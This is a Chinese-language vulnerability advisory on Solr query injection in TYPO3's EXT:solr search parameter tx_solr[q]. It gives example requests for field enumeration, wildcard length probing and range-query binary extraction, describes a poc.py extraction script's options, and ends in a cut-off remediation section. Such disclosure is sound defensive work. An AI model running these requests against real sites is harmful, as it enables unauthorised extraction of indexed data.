在官方 TYPO3 Apache Solr 扩展（EXT:solr / apache-solr-for-typo3/solr）中发现了一个架构性安全漏洞。该问题允许未经身份验证的远程攻击者通过搜索参数 tx_solr[q] 注入任意 Solr/Lucene 查询语法，从而能够对搜索索引进行未经授权的盲字段枚举和完整元数据提取。
EXT:solr（搜索参数：tx_solr[q]）CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NEXT:solr 扩展通过 tx_solr[q] 参数接受用户提供的搜索词，并将其转发至 Apache Solr 引擎。按照设计，该扩展允许特定的查询操作符——例如通配符（*）、单字符通配符（?）、字段选择器（:）以及范围查询（[a TO z]）——以支持分面过滤等合法功能。
由于这些字符在未经过强制白名单或查询抽象层的情况下被直接传入后端查询构造过程，攻击者可以提供字段特定的语法来突破预期的搜索边界。这使得未经身份验证的用户能够直接查询内部 Solr 字段，并使用基于布尔值的盲注技术提取索引数据。
field:* 进行字段枚举通过在任意或猜测的字段名后附加通配符，攻击者可以验证该字段是否存在于 schema 中：
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
如果该字段存在，Solr 会在所有匹配记录上处理该查询（通常会触发不同的响应码或与数据量相关的行为），从而支持基于自动化字典的字段枚举。
攻击者可以利用布尔推断逐字符提取敏感字段值：
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
? 运算符进行长度检测单字符通配符运算符（?）可以在开始字符迭代之前确定存储字符串的确切长度：
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z]）范围查询允许对首字符进行二分搜索提取，将每个字符位置所需的请求数从 26 次减少到约 5 次：
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
结合长度检测、范围查询和前缀通配符，可以在极少的请求量下实现完整字段提取。
提供了一个自动化验证脚本（poc.py），用于演示使用上述技术进行盲提取。
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url：指向 TYPO3 搜索端点的目标 URL。
-f, --field：要枚举/提取的 schema 字段名（例如 appKey、siteHash）。
-c, --cookies：（可选）在需要认证/WAF 绕过验证时使用的会话 cookie。
-o, --output：用于存储已发现前缀的输出文件（默认：validated_fields.txt）。
EXT:solr 搜索端点的默认安装。全局字符转义并不充分，因为 * 和 : 等运算符承担着预期的搜索功能。修复需要应用层白名单和解析模型：
[email protected]）。